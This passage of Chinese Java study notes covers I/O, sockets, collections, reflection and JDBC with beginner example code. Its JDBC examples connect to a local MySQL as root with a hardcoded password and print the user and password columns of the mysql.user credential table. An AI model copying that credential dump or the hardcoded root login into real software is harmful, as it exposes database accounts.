FileWriter fileOutputStream = new FileWriter(file_to_write);// 要写入文件的字符流
char[] chars = new char[1024];
int realReadCharslength = 0;
// 写入
while ((realReadCharslength = fileInputStream.read(chars)) != -1) {
fileOutputStream.write(chars, 0, realReadCharslength);
}
fileInputStream.close();
fileOutputStream.close();
}
return;
}
public static void main(String[] args) throws IOException {
/*
* 复制第一个参数文件的内容写入到第二个文件里面
* */
// 字符流
StringTest.copyCharsFromToFile("C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\1.txt", "C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\1_new.txt");
}
}
4.6.4. 追加写入
package bh;
import java.io.*;
import java.nio.charset.StandardCharsets;
public class StringTestTest {
public static void main(String[] args) throws IOException {
// 字符流
FileWriter fileWriter = new FileWriter(
"C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\1.txt",
true);
// fileWriter.write("" + "\n" + "2023年8月23日");
fileWriter.close();
// 字节流
FileOutputStream fileOutputStream = new FileOutputStream(
"C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\1.txt",
true);
fileOutputStream.write(123123);
String content = "手动阀手动阀撒旦发";
fileOutputStream.write(content.getBytes(StandardCharsets.UTF_8));
// getBytes()方法 将字符串转化为byte数组
fileOutputStream.close();
}
}
4.6.5. 缓冲流
package bh;
import java.io.*;
public class StringTest {
public static void copyBufferFromToFile(String fromFilePath, String toFilePath) throws IOException {
BufferedInputStream bufferedInputStream = new BufferedInputStream(new FileInputStream(fromFilePath));
BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(new FileOutputStream(toFilePath));
byte[] bytes = new byte[1024];
int realRealLength = 0;
while ((realRealLength = bufferedInputStream.read(bytes)) != -1) {
bufferedOutputStream.write(bytes, 0, realRealLength);
}
bufferedInputStream.close();
bufferedOutputStream.close();
}
public static void main(String[] args) throws IOException {
StringTest.copyBufferFromToFile(
"C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\calc.exe",
"C:\\Users\\HW\\Documents\\IdeaProjects\\2023_2.12_test\\src\\bh\\test1\\hahaha.exe"
);
}
}
4.6.6. 转换流
4.6.7. 标准的输入、输出流
- 输入
package bh;
import java.io.*;
public class StringTest {
public static void main(String[] args) throws IOException {
InputStreamReader inputStreamReader = new InputStreamReader(System.in);
char[] chars = new char[1024];
int realReadLength = 0;
while (true) {
if ((realReadLength = inputStreamReader.read(chars)) != -1) {
System.out.println(new String(chars, 0, realReadLength) + "back!");
}
}
}
}
4.6.8. 序列化总结
/*
* 进行序列化
* new ObjectOutputStream 返回一个ObjOutpStream的对象,
* 然后调用该对象的writeObject方法对指定的对象进行序列化
*
* 进行反序列化
* new ObjectInputStream 根据该返回对象调用readObject方法,
* 往往需要进行强制类型转换
* */
5. java_网络
5.1. InetAddress类
5.2. TCP-客户端
package bh.lx;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
public class test {
public static void main(String[] args) throws IOException {
// 建立连接
Socket socket = new Socket("192.168.124.32", 11111);
// 往服务器写入对应的数据
OutputStream outputStream = socket.getOutputStream();
outputStream.write("哈哈哈哈".getBytes(StandardCharsets.UTF_8));
// 从管道中读取对应的数据
int readLenght;
byte[] bytes = new byte[1024];
InputStream inputStream = socket.getInputStream();
while ((readLenght = inputStream.read(bytes)) != -1) {
System.out.print(new String(bytes, 0, readLenght));
}
// 关闭连接
inputStream.close();
outputStream.close();
socket.close();
}
}
5.3. TCP-服务端
package bh.lx;
import java.io.IOException;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
public class test {
public static void main(String[] args) throws IOException {
ServerSocket serverSocket = new ServerSocket(11355);
while (true) {
Socket accept = serverSocket.accept();
OutputStream outputStream = accept.getOutputStream();
outputStream.write("连接成功".getBytes(StandardCharsets.UTF_8));
}
}
}
5.4. TCP_socket常用方法
package bh.lx;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
public class test {
public static void main(String[] args) throws IOException {
ServerSocket serverSocket = new ServerSocket(11355);
while (true) {
Socket socket = serverSocket.accept();
// accept 监听连接请求,如果客户端请求连接,则接受连接,返回通信 套接字对象
OutputStream outputStream = socket.getOutputStream();
// getOutputStream和getInputStream获取输出流和输入流
outputStream.write("连接成功".getBytes(StandardCharsets.UTF_8));
// 获取远程连接对象对应的IP
InetAddress inetAddress = socket.getInetAddress();
System.out.println("远程连接的IP: " + inetAddress);
// getLocalAddress获得本地监听的IP
InetAddress localAddress = socket.getLocalAddress();
System.out.println("本地监听的IP: " + localAddress);
// getLocalPort获得本地监听的端口
int localPort = socket.getLocalPort();
System.out.println("本地监听的端口: " + localPort);
// getInetAddress获得远程连接的IP
InetAddress inetAddress1 = socket.getInetAddress();
System.out.println("远程连接的IP: " + inetAddress1);
// getPort获得远程连接的端口
int port = socket.getPort();
System.out.println("远程连接的端口: " + port);
}
}
}
5.5. UDP
5.6. URL类构造器
package bh;
import java.net.MalformedURLException;
import java.net.URL;
public class Url_Test {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("http://www.bihuo.cn:80/a.php?name=haha&id=1");
System.out.println(url.getProtocol());
System.out.println(url.getHost());
System.out.println(url.getPort());
System.out.println(url.getQuery());
System.out.println(url.getPath());
System.out.println(url.getFile());
}
}
5.7. URLConnection类
package bh;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class Url_Test {
public static void main(String[] args) throws IOException {
URL url = new URL("http://www.bihuo.cn");
URLConnection urlConnection = url.openConnection();
InputStream inputStream = urlConnection.getInputStream();
byte[] bytes = new byte[1024];
int realReadLenght;
while ((realReadLenght = inputStream.read(bytes)) != -1) {
String s = new String(bytes, 0, realReadLenght);
System.out.println(s);
}
}
}
6. java_集合
6.1. Java 集合框架概述
6.2. Collection接口继承树
6.2.1. Collection接口方法
6.2.1.1. 添加
import java.util.LinkedList;
public class Collection_Test {
public static void main(String[] args) {
LinkedList list1 = new LinkedList<String>();
LinkedList<String> list2 = new LinkedList<>();
list1.add("helloworld");
list1.add("hehe");
list1.add("123");
list1.add("hehe");
list1.add("haskld ");
list1.add("hehe");
// list2.add("2222");
// list1.addAll(list2);
// addAll 将一个实现了Conllection接口的对象中的元素添加到目标对象中
System.out.println(list1);
// 通过size函数获得当前集合的大小
System.out.println(list1.size());
// 通过使用contains方法判断集合中是否包含特定的元素,默认使用equals方法进行比较;
// 默认基本数据类型直接==;
// 如果是对象进行重定义的话,使用equals方法
System.out.println(list1.contains("2222"));
// 判断list2集合是否存在与当前list1集合之中
System.out.println(list1.containsAll(list2));
System.out.println("before removing :" + list1);
// 移除集合中第一次查询道德value的值,有且只有一次
list1.remove("hehe");
System.out.println("after removing :" + list1);
list2.add("hehe");
list2.add("123");
System.out.println("集合list1 :"+list1);
System.out.println("集合list2 value :" + list2);
// 取两个集合中的插值
list1.removeAll(list2);
System.out.println("取插值后的集合list1 :"+list1);
// 清空集合
list1.clear();
System.out.println(list1);
if (list1.isEmpty()) {
System.out.println("当前集合为空");
} else {
System.out.println("当前集合不为空");
}
}
}
import java.util.LinkedList;
public class Collection_Test {
public static void main(String[] args) {
LinkedList list1 = new LinkedList<String>();
LinkedList<String> list2 = new LinkedList<>();
list1.add("helloworld");
list1.add("hehe");
list1.add("123");
list1.add("hehe");
list1.add("haskld ");
list1.add("hehe");
list2.add("hehe");
list2.add("123");
System.out.println(list1);
Object[] objects = list1.toArray();
for (Object str1 :
objects) {
System.out.println((String) str1);
}
System.out.println("hash值: " + list1.hashCode());
}
}
6.2.2. Iterator迭代器接口
6.2.2.1. Iterator
原理
import java.util.Iterator;
import java.util.LinkedList;
public class Collection_Test {
public static void main(String[] args) {
LinkedList list1 = new LinkedList<String>();
LinkedList<String> list2 = new LinkedList<>();
list1.add("helloworld");
list1.add("hehe");
list1.add("123");
list1.add("hehe");
list1.add("haskld ");
list1.add("hehe");
list2.add("hehe");
list2.add("123");
System.out.println(list1);
// 如果需要创建Iterator对象,则必须有一个被迭代的集合
// 集合 list1
Iterator iterator = list1.iterator();
while (iterator.hasNext()) {
// next():指针下移,将下移以后集合位置上的元素返回
System.out.println(iterator.next());
}
}
}
6.2.2.2. Iterator
接口remove
方法
import java.util.Iterator;
import java.util.LinkedList;
import java.util.Objects;
public class Collection_Test {
public static void main(String[] args) {
LinkedList list1 = new LinkedList<String>();
LinkedList<String> list2 = new LinkedList<>();
list1.add("helloworld");
list1.add("hehe");
list1.add("123");
list1.add("helloworld");
list1.add("as234324");
list1.add("helloworld ");
list1.add("hehe");
list2.add("hehe");
list2.add("123");
System.out.println(list1);
// 移除存在list1中所有的"helloworld"字符串
// 1.旧方法
/*while (list1.remove("helloworld")) ;
System.out.println(list1);*/
// while (value == "hehe") {
// 2.使用迭代器
Iterator iterator = list1.iterator();
while (iterator.hasNext()) {
String value = (String) iterator.next();
if (Objects.equals(value, "helloworld")) {
// if (value == "h") {
iterator.remove();
}
}
System.out.println(list1);
}
}
6.2.3. list
接口(集合)
6.2.3.1. List概述
6.2.3.2. List
方法
通过使用List
类中的add
以及addAll
的重载方法,可以在指定位置插入想要的元素
import java.util.LinkedList;
public class Collection_Test {
public static void main(String[] args) {
LinkedList list1 = new LinkedList<String>();
list1.add(0,"helloworld1");
list1.add(0,"helloworld2");
list1.add(0,"helloworld3");
list1.add(0,"helloworld4");
System.out.println(list1);
}
}
import java.util.LinkedList;
public class Collection_Test {
public static void main(String[] args) {
LinkedList list1 = new LinkedList<String>();
LinkedList<String> list2 = new LinkedList<>();
list2.add("list2_hwlloworld1");
list2.add("list2_hwlloworld2");
list1.add(0, "helloworld1");
list1.add(0, "helloworld2");
list1.add(0, "helloworld3");
list1.addAll(list2);
System.out.println(list1);
}
}
import java.util.LinkedList;
public class Collection_Test {
public static void main(String[] args) {
LinkedList list1 = new LinkedList<String>();
LinkedList<String> list2 = new LinkedList<>();
list2.add("list2_hwlloworld1");
list2.add("list2_hwlloworld2");
list1.add(0, "helloworld1");
list1.add(0, "helloworld2");
list1.add(0, "helloworld3");
list1.addAll(2, list2);
System.out.println(list1);
}
}
import java.util.LinkedList;
public class Collection_Test {
public static void main(String[] args) {
LinkedList list1 = new LinkedList<String>();
LinkedList<String> list2 = new LinkedList<>();
list2.add("list2_hwlloworld1");
list2.add("list2_hwlloworld2");
list1.add(0, "helloworld");
list1.add(0, "helloworld");
list1.add(0, "helloworld");
list1.add(0, "helloworld");
list1.add(0, "helloworld");
System.out.println(list1.get(0));// 获取指定index位置的元素
System.out.println(list1.indexOf("helloworld"));// 返回在集合中首次出现的位置
System.out.println(list1.lastIndexOf("helloworld"));// 返回在集合中末次出现的位置
System.out.println(list1.remove(1));//移除指定index位置的元素,并返回此元素
System.out.println(list1.set(1, "hahaha"));// 设置指定index位置的元素为ele
System.out.println(list1.subList(1, 3));// 返回从formindex到toindex位置的子集合[x,y),不包含后面
System.out.println(list1);
}
}
6.2.3.3. List
实现类ArrayList
import java.util.ArrayList;
public class Collection_Test {
public static void main(String[] args) {
ArrayList list1 = new ArrayList();
list1.add(1);
System.out.println(list1);
}
}
6.2.3.4. List实现类LinkedList
import java.util.LinkedList;
public class Collection_Test {
public static void main(String[] args) {
LinkedList list1 = new LinkedList<String>();
LinkedList<String> list2 = new LinkedList<>();
list1.add(0, "1111");
list1.add(0, "2222");
list1.add(0, "3333");
list1.add(0, "4444");
list1.add(0, "5555");
list1.addFirst("hello");
list1.addLast("end");
System.out.println(list1.getFirst());
System.out.println(list1.getLast());
System.out.println(list1);
System.out.println(list1.removeFirst());
System.out.println(list1.removeLast());
System.out.println(list1);
}
}
6.2.3.5. List实现类-Vector
线程安全
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.Vector;
public class Collection_Test {
public static void main(String[] args) {
Vector<Integer> vi = new Vector<>();
vi.add(10);
vi.add(20);
vi.add(30);
vi.addElement(999);// 添加
vi.insertElementAt(6000, 2);// 修改指定下标的元素
vi.removeElement(500);// 移除特定元素
System.out.println(vi);
}
}
6.2.4. Set
接口(集合)
6.2.4.1. Set
概述
6.2.4.2. Set
实现类-HashSet
import bh.test1.Person;
import java.util.HashSet;
public class Collection_Test {
public static void main(String[] args) {
HashSet<Object> objects = new HashSet<>();
Person person = new Person("haha", 10);
Person person1 = new Person("haha", 10);
// Set集合不允许包含相同的元素,
// 如果试把两个相同的元素加入同一个Set集合中,则添加操作失败
objects.add(person);
objects.add(person1);
System.out.println(objects);
// 此时没有报错,是因为没有重写equals方法
System.out.println(person.equals(person1));
}
}
6.2.4.2.1. 重写hashCode()
方法
package bh.test1;
import java.util.Objects;
public class Person {
private String name;
private int age;
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Person person = (Person) o;
return age == person.age && Objects.equals(name, person.name);
}
@Override
public int hashCode() {
return Objects.hash(name, age);
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
6.2.4.3. Set
实现类-LinkedHashSet
6.3. Map
接口继承树
6.3.1. Map
接口概述
6.3.2. Map
接口方法
6.3.3. Map
实现类-HashMap
import java.util.*;
public class Collection_Test {
public static void main(String[] args) {
HashMap<String, Integer> heightMap = new HashMap<>();
heightMap.put("xiaoming", 18);// 添加
heightMap.put("xiangwang", 18);// 添加
heightMap.put("guapi", 18);// 添加
System.out.println(heightMap);
heightMap.remove("xiaoming");// 移除
System.out.println(heightMap);
// 通过get方法获得对应的key指向的值
System.out.println(heightMap.get("guapi"));
// 通过containsKey,是否包含指定的key
System.out.println(heightMap.containsKey("guapi"));
// 通过containsValue,是否包含指定的value
System.out.println(heightMap.containsValue("18"));
// 通过size获得键值对的个数
System.out.println(heightMap.size());
// 通过isEmpty,判断键值对是否为空
System.out.println(heightMap.isEmpty());
// Set keySet()返回所有key构成的Set集合
System.out.println(heightMap.keySet());
// Collection values():返回所有value构成的Collection集合
System.out.println(heightMap.values());
// Set entrySet():返回所有key-value对构成的Set集合
System.out.println(heightMap.entrySet());
System.out.println("===========================");
// 遍历 heightMap.entrySet().iterator()
Iterator<Map.Entry<String, Integer>> iterator = heightMap.entrySet().iterator();
while (iterator.hasNext()) {
Map.Entry<String, Integer> next = iterator.next();
System.out.println(next);
System.out.println(next.getKey() + ":" + next.getValue());
}
// heightMap.clear();// 清空
// System.out.println(heightMap);
}
}
7. Java_反射
7.1. Java反射机制概述
7.2. Class
类
import bh.test1.Person;
public class Collection_Test {
public static void main(String[] args) {
// 通过getclass方法可以获得类的完整的名称,包括:包名+类名
Person person = new Person("haha", 19);
System.out.println(person.getClass());
}
}
7.3. Class
类的常用方法
7.3.1. 常用方法
import bh.test1.Person;
public class Collection_Test {
public static void main(String[] args) {
// 通过getclass方法可以获得类的完整的名称,包括:包名+类名
Person person = new Person("haha", 1999);
System.out.println(person.getClass());
try {/*
* 通过Class类中的forName方法,
* 首先封装一个clasetAccessibless类型的对象,
* 然后通过调用NewInstance方法实例化生成初始想要生成的对象
* */
/*
* 假设现在的类名是一个可控的变量,
* 则可以通过控制类名来实现实例化特定的对象
* */
Class<?> person1 = Class.forName("bh.test1.Person");
System.out.println("返回指定类名 name 的 Class 对象: " + person1);
System.out.println("调用缺省构造函数,返回该Class对象的一个实例: " + person1.newInstance());
System.out.println("返回此Class对象所表示的实体(类、接口、数组类、基本类型 或void)名称: " + person1.getName());
System.out.println("返回当前Class对象的父类的Class对象: " + person1.getSuperclass());
System.out.println("获取当前Class对象的接口: " + person1.getInterfaces());
// 获得接口的名称
Class<?>[] interfaces = person1.getInterfaces();
for (Class<?> anInterface : interfaces) {
System.out.println(anInterface);
}
ClassLoader classLoader = person1.getClassLoader();
System.out.println("返回该类的类加载器: " + classLoader);
} catch (ClassNotFoundException | InstantiationException | IllegalAccessException e) {
e.printStackTrace();
}
}
}
import bh.test1.Person;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.Arrays;
public class Collection_Test {
public static void main(String[] args) {
// 通过getclass方法可以获得类的完整的名称,包括:包名+类名
Person person = new Person("haha", 1999);
System.out.println(person.getClass());
try {
Class<?> person1 = Class.forName("bh.test1.Person");
Constructor<?>[] constructors = person1.getConstructors();
System.out.println("返回一个包含某些Constructor对象" + constructors);
System.out.println("返回一个包含某些Constructor对象的数组" + Arrays.toString(constructors));
/*
* 通过getConstructors获得对象对应的构造器,此时可以实现有参数的构造方法的调用
* */
for (Constructor<?> constructor : constructors) {
// 获得构造方法所需参数的个数
// System.out.println(constructor.getParameters().length);
if (constructor.getParameters().length == 2) {
Object hehe = constructor.newInstance("hehe", 20);
System.out.println(hehe);
} else {
Object o = constructor.newInstance();
System.out.println(o);
}
}
} catch (ClassNotFoundException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
}
}
7.3.2. getConstructors
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.Arrays;
public class Collection_Test {
public static void main(String[] args) {
// 通过getclass方法可以获得类的完整的名称,包括:包名+类名
// Person person = new Person("haha", 1999);
// System.out.println(person.getClass());
try {
/*
* 通过getConstructors获得对象对应的构造器,此时可以实现有参数的构造方法的调用
* */
Class<?> person2 = Class.forName("bh.test1.Person");
Constructor<?>[] constructors1 = person2.getConstructors();
System.out.println("返回一个包含某些Constructor对象" + constructors1);
System.out.println("返回一个包含某些Constructor对象的数组" + Arrays.toString(constructors1));
for (Constructor<?> constructor : constructors1) {
if (constructor.getParameters().length == 2) {
Object asdfasdf = constructor.newInstance("asdfasdf", 999);
System.out.println(asdfasdf);
} else {
Object o = constructor.newInstance();
System.out.println(o);
}
}
} catch (ClassNotFoundException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
}
}
7.3.3. getConstructor
与getConstructors
区别
import bh.test1.Person;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.Arrays;
public class Collection_Test {
public static void main(String[] args) {
// 通过getclass方法可以获得类的完整的名称,包括:包名+类名
Person person = new Person("haha", 1999);
System.out.println(person.getClass());
try {
/*
* 通过getConstructor获得对象对应的构造器,此时可以实现有参数的构造方法的调用
* 如果不想使用getConstructors获得多个构造器,
* 此时可以使用getConstructor来获得特定的构造器,
* 其参数为构造器需要使用的参数加上.class
* */
Class<?> person1 = Class.forName("bh.test1.Person");
Constructor<?> constructor1 = person1.getConstructor(String.class, int.class);
Object nihao = constructor1.newInstance("nihao", 29);
System.out.println("nihao: " + nihao);
/*
* 通过getConstructors获得对象对应的构造器,此时可以实现有参数的构造方法的调用
* */
Class<?> person2 = Class.forName("bh.test1.Person");
Constructor<?>[] constructors1 = person2.getConstructors();
System.out.println("返回一个包含某些Constructor对象" + constructors1);
System.out.println("返回一个包含某些Constructor对象的数组" + Arrays.toString(constructors1));
for (Constructor<?> constructor : constructors1) {
if (constructor.getParameters().length == 2) {
Object asdfasdf = constructor.newInstance("asdfasdf", 999);
System.out.println(asdfasdf);
} else {
Object o = constructor.newInstance();
System.out.println(o);
}
}
} catch (ClassNotFoundException | InstantiationException | IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {
e.printStackTrace();
}
}
}
7.3.4. getMethod
import bh.test1.Person;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Collection_Test {
public static void main(String[] args) {
try {
Class<?> aClass = Class.forName("bh.test1.Person");
Object o = aClass.newInstance();
// 使用getMethod获得的方法的修饰符需要为public
Method setName = aClass.getMethod("setName", String.class);
setName.invoke(o, "nuew_name");
String name = ((Person) o).getName();
System.out.println(name);
} catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException | InvocationTargetException | InstantiationException e) {
e.printStackTrace();
}
}
}
import bh.test1.Person;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Collection_Test {
public static void main(String[] args) {
try {
Class<?> aClass = Class.forName("bh.test1.Person");
Object o = aClass.newInstance();
// 使用getMethod获得的方法的修饰符需要为public
Method setName = aClass.getMethod("classSayName");
setName.invoke(o);
setName.invoke(Person.class);
} catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException | InvocationTargetException | InstantiationException e) {
e.printStackTrace();
}
}
}
7.3.5. getDeclaredFields
import java.lang.reflect.Field;
public class Collection_Test {
public static void main(String[] args) {
try {
Class<?> aClass = Class.forName("bh.test1.Person");
// 返回Field对象的一个数组
Field[] declaredFields = aClass.getDeclaredFields();
for (Field declaredField : declaredFields) {
System.out.println(declaredField);
}
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
import java.lang.reflect.Field;
public class Collection_Test {
public static void main(String[] args) {
try {
Class<?> aClass = Class.forName("bh.test1.Person");
Object o = aClass.newInstance();
// 返回Field对象的一个数组
Field[] declaredFields = aClass.getDeclaredFields();
for (Field declaredField : declaredFields) {
System.out.println(declaredField);
}
for (Field declaredField : declaredFields) {
// System.out.println(declaredField.getName());
if (declaredField.getName() == "namePublic") {
declaredField.set(o, "helloworld");
} else if (declaredField.getName() == "agePublic") {
declaredField.set(o, 10);
}
}
System.out.println(o);
} catch (ClassNotFoundException | InstantiationException | IllegalAccessException e) {
e.printStackTrace();
}
}
}
7.3.6. getDeclaredField
与getDeclaredFields
import java.lang.reflect.Field;
public class Collection_Test {
public static void main(String[] args) {
try {
Class<?> aClass = Class.forName("bh.test1.Person");
Object o = aClass.newInstance();
Field namePublic = aClass.getDeclaredField("namePublic");
namePublic.set(o, "hahahaha");
/*for (Field declaredField : declaredFields) {
System.out.println(declaredField);
}*/
Field[] declaredFields = aClass.getDeclaredFields();
for (Field declaredField : declaredFields) {
System.out.println(declaredField.getName());
if (declaredField.getName() == "namePublic") {
declaredField.set(o, "asdlkajsdlkjasdlkajsd");
} else if (declaredField.getName() == "agePublic") {
declaredField.set(o, 9999999);
}
}
System.out.println(o);
} catch (ClassNotFoundException | InstantiationException | IllegalAccessException | NoSuchFieldException e) {
e.printStackTrace();
}
}
}
7.3.7. getModifiers
import bh.test1.Person;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Modifier;
public class Collection_Test {
public static void main(String[] args) {
try {
// 1.已知具体的类,通过"类名.class"属性获取,该方法最为安全可靠,程序性能最高
Class<Person> personClass = Person.class;
// 2.通过实例对象,调用该实例的getClass()方法获取Class对象
// Class<?> aClass = Class.forName("bh.test1.Person");
// Object m = aClass.newInstance();
// Class<?> aClass1 = m.getClass();
// 3.使用全类名配合forName()方法获得class对象
// Class<?> aClass2 = Class.forName("bh.test1.Person");
// 默认调用的是无参数的构造方法
Constructor<Person> constructor = personClass.getDeclaredConstructor(String.class, int.class);
// Person hehe = constructor.newInstance("hehe", 28);
// System.out.println(hehe);
int modifiers = constructor.getModifiers();
System.out.println(modifiers);
/*
* 通过Modifier类中的isPublic,isprotected,isPrivate方法
* 可以判断某个方法是否是public,protected还是private
* */
if (Modifier.isPublic(modifiers)) {
System.out.println("now constructor is public");
} else if (Modifier.isProtected(modifiers)) {
System.out.println("now constructor is protected");
} else if (Modifier.isPrivate(modifiers)) {
System.out.println("now constructor is private");
}
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}
}
7.4. 反射的应用举例
7.5. 获取Class类的实例(四种方法)
package proxy.test_test;
import com.mysql.jdbc.Driver;
import java.sql.*;
public class sql {
public static void main(String[] args) throws SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 获得Driver类型的对象
Driver driver = new Driver();
// 通过先get class类型的对象 然后再newInstance生成
Class<?> aClass = Class.forName("com.mysql.jdbc.Driver");
Driver driver1 = (Driver) aClass.newInstance();
// 通过getclass
Class<Driver> driverClass = Driver.class;
Driver driver2 = driverClass.newInstance();
}
}
import bh.test1.Person;
public class Collection_Test {
public static void main(String[] args) {
try {
// 1.已知具体的类,通过"类名.class"属性获取,该方法最为安全可靠,程序性能最高
Class<Person> personClass = Person.class;
// 2.通过实例对象,调用该实例的getClass()方法获取Class对象
Class<?> aClass = Class.forName("bh.test1.Person");
Object m = aClass.newInstance();
Class<?> aClass1 = m.getClass();
// 3.使用全类名配合forName()方法获得class对象
Class<?> aClass2 = Class.forName("bh.test1.Person");
} catch (ClassNotFoundException | InstantiationException | IllegalAccessException e) {
e.printStackTrace();
}
}
}
7.6. 哪些类型可以有Class对象?
7.7. 有了Class对象,能做什么?
import bh.test1.Person;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
public class Collection_Test {
public static void main(String[] args) {
try {
// 1.已知具体的类,通过"类名.class"属性获取,该方法最为安全可靠,程序性能最高
Class<Person> personClass = Person.class;
// 2.通过实例对象,调用该实例的getClass()方法获取Class对象
// Class<?> aClass = Class.forName("bh.test1.Person");
// Object m = aClass.newInstance();
// Class<?> aClass1 = m.getClass();
// 3.使用全类名配合forName()方法获得class对象
// Class<?> aClass2 = Class.forName("bh.test1.Person");
// 默认调用的是无参数的构造方法
Constructor<Person> constructor = personClass.getConstructor(String.class, int.class);
Person hehe = constructor.newInstance("hehe", 28);
System.out.println(hehe);
} catch (InstantiationException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) {
e.printStackTrace();
}
}
}
7.8. 代理设计模式的原理
7.8.1. Java动态代理相关API
7.8.2. 动态代理步骤
7.8.3. 动态代理与AOP(AspectOrientProgramming)
8. Java_JDBC
8.1. Java中的数据存储技术
8.2. JDBC基础
8.3. JDBC体系结构
8.4. JDBCAPI
8.5. 加载与注册JDBC驱动
8.5.1. 建立连接(Connection)
8.5.2. 常用数据库的JDBC URL
8.5.2.1. JDBC-连接数据库
package proxy.test_test;
import com.mysql.jdbc.Driver;
import java.sql.*;
import java.util.Properties;
public class MainClass {
public static void main(String[] args) throws SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1.获得Driver类型的对象
Driver driver = new Driver();
// 1.通过先get class类型的对象 然后再newInstance生成
Class<?> aClass = Class.forName("com.mysql.jdbc.Driver");
Driver driver1 = (Driver) aClass.newInstance();
// 1.通过getclass
Class<Driver> driverClass = Driver.class;
Driver driver2 = driverClass.newInstance();
// 2.提供url,指名具体操作的手机
String connectionString = "jdbc:mysql://127.0.0.1:3306/mysql";
String sql = "select * from user";
// 3.提供properties对象,指名用户名,密码
Properties properties = new Properties();
properties.setProperty("user", "root");
properties.setProperty("password", "redhat");
// 4.连接数据库第一种方式:调用driver的connect(),获取连接
Connection connect = driver.connect(connectionString, properties);
System.out.println(connect);
// 4.连接数据库第二种方式:使用DriverManager.registerDriver,获取连接,
// 然后再通过getConnection方法返回对应的Connection类型的对象
DriverManager.registerDriver(driver);
Connection connection = DriverManager.getConnection(connectionString, properties);
System.out.println(connection);
}
}
8.5.2.2. JDBC-查询数据库
8.5.2.2.1. ResultSet
package proxy.test_test;
import com.mysql.jdbc.Driver;
import java.sql.*;
import java.util.Properties;
public class MainClass {
public static void main(String[] args) throws SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1.获得Driver类型的对象
Driver driver = new Driver();
// 1.通过先get class类型的对象 然后再newInstance生成
Class<?> aClass = Class.forName("com.mysql.jdbc.Driver");
Driver driver1 = (Driver) aClass.newInstance();
// 1.通过getclass
Class<Driver> driverClass = Driver.class;
Driver driver2 = driverClass.newInstance();
// 2.提供url,指名具体操作的手机
String connectionString = "jdbc:mysql://127.0.0.1:3306/mysql";
String sql = "select * from user";
// 3.提供properties对象,指名用户名,密码
Properties properties = new Properties();
properties.setProperty("user", "root");
properties.setProperty("password", "redhat");
// 4.连接数据库第一种方式:调用driver的connect(),获取连接
Connection connect = driver.connect(connectionString, properties);
System.out.println(connect);
// 4.连接数据库第二种方式:使用DriverManager.registerDriver,获取连接,
// 然后再通过getConnection方法返回对应的Connection类型的对象
DriverManager.registerDriver(driver);
Connection connection = DriverManager.getConnection(connectionString, properties);
System.out.println(connection);
// 调用对应Connection类型的对象中的prepareStatement方法
// 来生成PreparedStatment类型的对象
PreparedStatement preparedStatement = connection.prepareStatement(sql);
// 执行对应的sql语句,返回结果集合
ResultSet resultSet = preparedStatement.executeQuery();
// 使用while循环遍历结果集,打印每行的数据
while (resultSet.next()) {
System.out.println("Host name is " + resultSet.getString("host") + ", ");
System.out.println("username name is " + resultSet.getString("user") + ", ");
System.out.println("password value is " + resultSet.getString("password") + ", ");
// System.out.print(resultSet.getString(1) + ", ");
// System.out.print(resultSet.getString(2) + ", ");
// System.out.print(resultSet.getString(3) + ", ");
}
}
}
8.5.2.2.2. 预编译
- 预编译一定可以杜绝sql注入?(不行)
- 宽字节
- 错误的使用?
- 错误的使用#
- 优点
- 减少sql注入
- 提高语句执行速度
package proxy.test_test;
import com.mysql.jdbc.Driver;
import java.sql.*;
import java.util.Properties;
public class MainClass {
public static void main(String[] args) throws SQLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
// 1.第一种构造Driver类型的对象
Driver driver = new Driver();
// 1.第二种通过反射的方式,生成Driver类
Class<?> aClass = Class.forName("com.mysql.jdbc.Driver");
Driver o = (Driver) aClass.newInstance();
// 2.提供url,指名具体操作的手机
String connectionString = "jdbc:mysql://127.0.0.1:3306/teach";
// String sql = "select * from users where id = 1";
String sql = "select * from users where id = ?";
// 3.提供properties对象,指名用户名,密码
Properties properties = new Properties();
properties.setProperty("user", "root");
properties.setProperty("password", "redhat");
